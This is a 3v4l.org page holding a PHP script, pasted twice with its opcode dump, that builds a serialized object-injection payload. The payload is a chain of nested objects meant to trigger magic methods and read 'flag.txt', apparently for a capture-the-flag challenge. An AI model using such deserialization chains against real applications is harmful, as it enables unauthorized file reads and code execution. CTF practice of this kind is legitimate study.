3v4l.org

run code in 500+ PHP versions simultaneously
<?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化,满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?><?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化,满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qpd7K
function name:  (null)
number of ops:  74
compiled vars:  !0 = $innerEngine, !1 = $outerEngine, !2 = $keystone, !3 = $innerSentinel, !4 = $outerSentinel
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
   18     0  E >   NEW                                                  $5      'RitualEngine'
          1        DO_FCALL                                          0          
          2        ASSIGN                                                       !0, $5
   19     3        ASSIGN_OBJ                                                   !0, 'target'
          4        OP_DATA                                                      'flag.txt'
   22     5        NEW                                                  $9      'RitualEngine'
          6        DO_FCALL                                          0          
          7        ASSIGN                                                       !1, $9
   24     8        INIT_FCALL                                                   'serialize'
          9        INIT_ARRAY                                           ~13     !0
         10        ADD_ARRAY_ELEMENT                                    ~13     'view'
         11        SEND_VAL                                                     ~13
         12        DO_ICALL                                             $14     
         13        ASSIGN_OBJ                                                   !1, 'callback'
         14        OP_DATA                                                      $14
   27    15        NEW                                                  $15     'Keystone'
         16        DO_FCALL                                          0          
         17        ASSIGN                                                       !2, $15
   28    18        ASSIGN_OBJ                                                   !2, 'center'
         19        OP_DATA                                                      !1
   31    20        NEW                                                  $19     'GateSentinel'
         21        DO_FCALL                                          0          
         22        ASSIGN                                                       !3, $19
   32    23        INIT_ARRAY                                           ~23     !2, 'blade'
         24        ASSIGN_OBJ                                                   !3, 'tool'
         25        OP_DATA                                                      ~23
   35    26        NEW                                                  $24     'GateSentinel'
         27        DO_FCALL                                          0          
         28        ASSIGN                                                       !4, $24
   36    29        ASSIGN_OBJ                                                   !4, 'object'
         30        OP_DATA                                                      !3
   39    31        INIT_FCALL                                                   'serialize'
         32        SEND_VAR                                                     !4
         33        DO_ICALL                                             $28     
         34        ECHO                                                         $28
   42    35        DECLARE_CLASS                                                'ritualengine'
   47    36        DECLARE_CLASS                                                'keystone'
   51    37        DECLARE_CLASS                                                'gatesentinel'
   57    38        NEW                                                  $29     'RitualEngine'
         39        DO_FCALL                                          0          
         40        ASSIGN                                                       !0, $29
   58    41        ASSIGN_OBJ                                                   !0, 'target'
         42        OP_DATA                                                      'flag.txt'
   61    43        NEW                                                  $33     'RitualEngine'
         44        DO_FCALL                                          0          
         45        ASSIGN                                                       !1, $33
   63    46        INIT_FCALL                                                   'serialize'
         47        INIT_ARRAY                                           ~37     !0
         48        ADD_ARRAY_ELEMENT                                    ~37     'view'
         49        SEND_VAL                                                     ~37
         50        DO_ICALL                                             $38     
         51        ASSIGN_OBJ                                                   !1, 'callback'
         52        OP_DATA                                                      $38
   66    53        NEW                                                  $39     'Keystone'
         54        DO_FCALL                                          0          
         55        ASSIGN                                                       !2, $39
   67    56        ASSIGN_OBJ                                                   !2, 'center'
         57        OP_DATA                                                      !1
   70    58        NEW                                                  $43     'GateSentinel'
         59        DO_FCALL                                          0          
         60        ASSIGN                                                       !3, $43
   71    61        INIT_ARRAY                                           ~47     !2, 'blade'
         62        ASSIGN_OBJ                                                   !3, 'tool'
         63        OP_DATA                                                      ~47
   74    64        NEW                                                  $48     'GateSentinel'
         65        DO_FCALL                                          0          
         66        ASSIGN                                                       !4, $48
   75    67        ASSIGN_OBJ                                                   !4, 'object'
         68        OP_DATA                                                      !3
   78    69        INIT_FCALL                                                   'serialize'
         70        SEND_VAR                                                     !4
         71        DO_ICALL                                             $52     
         72        ECHO                                                         $52
   79    73      > RETURN                                                       1

Class RitualEngine: [no user functions]
Class Keystone: [no user functions]
Class GateSentinel: [no user functions]
Class RitualEngine: [no user functions]
Class Keystone: [no user functions]
Class GateSentinel: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
165.42 ms | 1363 KiB | 14 Q